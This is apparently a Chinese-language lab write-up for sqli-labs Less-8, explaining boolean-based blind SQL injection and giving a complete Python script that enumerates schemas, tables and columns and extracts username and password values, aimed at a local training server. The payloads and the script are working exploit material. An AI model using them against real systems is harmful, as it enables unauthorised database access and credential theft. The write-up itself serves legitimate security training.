1. 程式人生 > 實用技巧 >sqli-labs less-8(布林盲注)

sqli-labs less-8(布林盲注)

less-8

布林盲注

首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+確定id的型別為單引號''包裹。然後進行盲注。

盲注思路:

  1. 破解當前資料庫名:

and length(database)=num 破解名字長度。

and ascii(substr(database(), 1,1))=num 猜出每一個字母的ascii碼。最後得到資料庫的名字。

  1. 破解所有資料庫名字

and (select count(*) from information_schema.schemata)=num判斷資料庫的個數。

and length((select schema_name from information_schema.schemata limit 0,1))=num判斷每一個數據庫的名字的長度。

and ascii(substr((select schema_name from information_schema.schemata limit 0,1)), 1,1)=num猜解每一個數據庫名字的每一個字母。最後得出資料庫的名字。

  1. 破解資料表和表中的欄位

具體操作語法和2中破解資料庫名字一樣,只是查詢的表變成了information_tables和information_columns

指令碼還是不太會寫,先py 學習ing...

payload:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

import requests
import re

class SQL_injection():
    def __init__(self, id, url, table_name='tables', db_name='information.schema',  *args):
        self.id = id
        self.url = url
        self.db_name = db_name
        self.table_name = table_name
        self.args = args

    # 訪問操作
    # 判斷檢索欄位返回值: 返回檢索欄位的數目
    # 盲注返回值: True返回1 False返回0
    def req(self, url, num):
        response = requests.get(url)
        # print(url)
        # print(response.text)
        result = re.search(r'color="#FFFF00">(.*?)<', response.text)
        # print(result)
        if result:
            if result.group(1) == "You are in...........":
                # print("連線正確")
                return num
            else:
                return 0
        else:
            return 0


    # 判斷欄位數目, 需要指定資料庫和資料表
    def column_num(self):
        num = 0
        for i in range(1, 100):
            new_url1 = self.url + self.id + " order by %s --+ " % (i)
            # print(new_url1)
            flag = self.req(new_url1, i)
            if flag:
                num = flag
                print("\r網頁搜尋的欄位數目為:%s" % flag, end="")
            if not flag:
                # print("xxx")
                break
        print()
        return num


    # 判斷當前資料庫名字
    def db_name1(self):
        length = 0
        for i in range(1,100):
            new_url = self.url + self.id + " and length(database())=%s  --+" % i
            flag = self.req(new_url, 1)
            if flag:
                length = i+1
                break

        if length == 0:
            print("資料庫名字長度獲取失敗.....")
            return 0
        print("\n正在使用的資料庫:", end='')
        for i in range(1, length):
            for k in range(95, 123):
                new_url = url + id + " and ascii(substr(database(), %s))=%s  --+" % (i, k)
                flag = self.req(new_url, 1)
                if flag:
                    print(chr(int(k)), end='')


    # 爆庫,列出所有資料庫名
    def db_list(self):
        length = 0
        # 爆出資料庫個數
        for i in range(1, 10000):
            new_url = self.url + self.id + " and (select count(schema_name) from information_schema.schemata)=%s --+ " % i
            flag = self.req(new_url, 1)
            if flag:
                length = i
                print("\n一共有%s個數據庫"%length)
                break

        # 一一爆出資料庫的名字
        # 遍歷每一行
        for i in range(0, length):
            # 求每一行資料庫名字的長度
            for l in range(1, 100):
                # print(l)
                new_url = url + id + " and length((select schema_name from information_schema.schemata limit %s, 1))=%s --+ " % (i, l)
                # print(new_url)
                flag = self.req(new_url, 1)
                if flag:
                    db_name_length = l
                    print("%s. 資料庫名字的長度: %s          資料庫名:  "%(int(i+1), db_name_length), end='')

                    # 求資料庫名字
                    for db_l in range(1, int(db_name_length) + 1):
                        for k in range(95, 123):
                            new_url = \
                                url + id + \
                                " and ascii(substr((select schema_name from information_schema.schemata limit %s,1), %s, 1)) =%s --+ " \
                                % (i, db_l, k)
                            flag = self.req(new_url, 1)
                            if flag:
                                print(chr(int(k)), end="")
                    print()
                    break


    # 爆表
    # 接受引數,網站連結,id, 指定資料庫的名字
    def table_name1(self):
        length = 0
        # 爆出某個資料庫中資料表個數
        if self.db_name:
            print("\n當前查詢的資料庫為 %s " % self.db_name)
            for i in range(1, 10000):
                new_url = url + id + " and (select count(table_name) from information_schema.tables where table_schema='%s')=%s --+ " % (self.db_name, i)
                flag = self.req(new_url, 1)
                if flag:
                    length = i
                    print("一共有%s張資料庫表" % length)
                    break

            # 一一爆出資料表的名字
            for i in range(0, length):
                # 求每一行資料庫名字的長度
                for l in range(1, 100):
                    # print(l)
                    new_url = url + id + " and length((select table_name from information_schema.tables where table_schema='%s' limit %s, 1))=%s --+ " % (self.db_name, i, l)
                    # print(new_url)
                    flag = self.req(new_url, 1)
                    if flag:
                        db_name_length = l
                        print("%s. 資料表名字的長度: %s          資料表名:  "%(int(i+1), db_name_length), end='')

                        # 求資料庫名字
                        for db_l in range(1, int(db_name_length) + 1):
                            for k in range(95, 123):
                                new_url = \
                                    url + id + \
                                    " and ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %s,1), %s, 1)) =%s --+ " \
                                    % (self.db_name, i, db_l, k)
                                flag = self.req(new_url, 1)
                                if flag:
                                    print(chr(int(k)), end="")
                        print()
                        break


        # 如果沒有指定資料庫,那麼則搜尋整個DBMS有多少張表
        else:
            for i in range(1, 10000):
                new_url = url + id + " and (select count(table_name) from information_schema.tables)=%s --+ " % i
                flag = self.req(new_url, 1)
                if flag:
                    length = i
                    print("\n一共有%s個數據庫表" % length)
                    break


    # 爆欄位
    def columns_name(self):
        length=0
        print("\n當前查詢的資料庫為 %s, 資料表為 %s " % (self.db_name, self.table_name))
        for i in range(1, 10000):
            new_url = url + id + " and (select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' )=%s --+ " % (
            self.db_name, self.table_name, i)
            flag = self.req(new_url, 1)
            if flag:
                length = i
                print("此表一共有%s個欄位" % length)
                break

        # 一一爆出資料欄位的名字
        for i in range(0, length):
            # 求每一個數據欄位名稱的長度
            for l in range(1, 100):
                # print(l)
                new_url = url + id + " and length((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s, 1))=%s --+ " % (
                self.db_name, self.table_name, i, l)
                # print(new_url)
                flag = self.req(new_url, 1)
                if flag:
                    db_name_length = l
                    print("%s. 資料表名字的長度: %s          資料表名:  " % (int(i + 1), db_name_length), end='')

                    # 求資料庫名字
                    for db_l in range(1, int(db_name_length) + 1):
                        for k in range(95, 123):
                            new_url = \
                                url + id + \
                                " and ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s,1), %s, 1)) =%s --+ " \
                                % (self.db_name, self.table_name, i, db_l, k)
                            flag = self.req(new_url, 1)
                            if flag:
                                print(chr(int(k)), end="")
                    print()
                    break


    # 爆值
    def value(self):
        # print(self.args)
        args_len = len(self.args)
        length = 0
        for arg_len in range(0, args_len):
            for i in range(1, 100000):
                new_url = url + id + " and (select count(%s) from %s.%s)=%s --+ " % (self.args[arg_len], self.db_name, self.table_name, i)
                # print(new_url)
                if self.req(new_url, 1):
                    print("欄位: %s --> %s  行" % (self.args[arg_len], i))
                    length = i
                    break

            # 求每一個欄位的所有值
            for i in range(0, length):
                # 求每一個值名稱的長度
                for l in range(1, 1000):
                    # print(l)
                    new_url = url + id + " and length((select %s from %s.%s limit %s, 1))=%s --+ " % (
                        self.args[arg_len], self.db_name, self.table_name, i, l)
                    # print(new_url)
                    flag = self.req(new_url, 1)
                    if flag:
                        db_name_length = l
                        # print("%s. %s欄位長度: %s          值為:  " % (int(i + 1), args[arg_len], db_name_length), end='')
                        print("%s. %s :  " % (int(i + 1), self.args[arg_len]), end='')

                        # 求數值的名字
                        for db_l in range(1, int(db_name_length) + 1):
                            for k in range(33, 127):
                                new_url = \
                                    url + id + \
                                    " and ascii(substr((select %s from %s.%s limit %s,1), %s, 1)) =%s --+ " \
                                    % (self.args[arg_len], self.db_name, self.table_name, i, db_l, k)
                                # print(new_url)
                                flag = self.req(new_url, 1)
                                if flag:
                                    print(chr(int(k)), end="")
                        print()
                        break


if __name__ == "__main__":
    x = input("請輸入您要練習的less: ")
    url = "http://127.0.0.1:7788/sqli/Less-%s/?id=" % x
    id = input("請入id形式")

    # sql = SQL_injection(id, url, table_name, db_name, args)
    sql = SQL_injection(id, url, 'users', 'security', 'username', 'password')
    # 獲取當前使用的資料庫的名字
    sql.db_name1()

    # 列出所有資料庫的名字
    sql.db_list()

    # 列出指定資料庫彙總所有資料表, 若沒有指定資料庫,則只顯示有多少張表
    sql.table_name1()

    # 列指定表中所有的列
    sql.columns_name()

    # 列出指定欄位的值
    sql.value()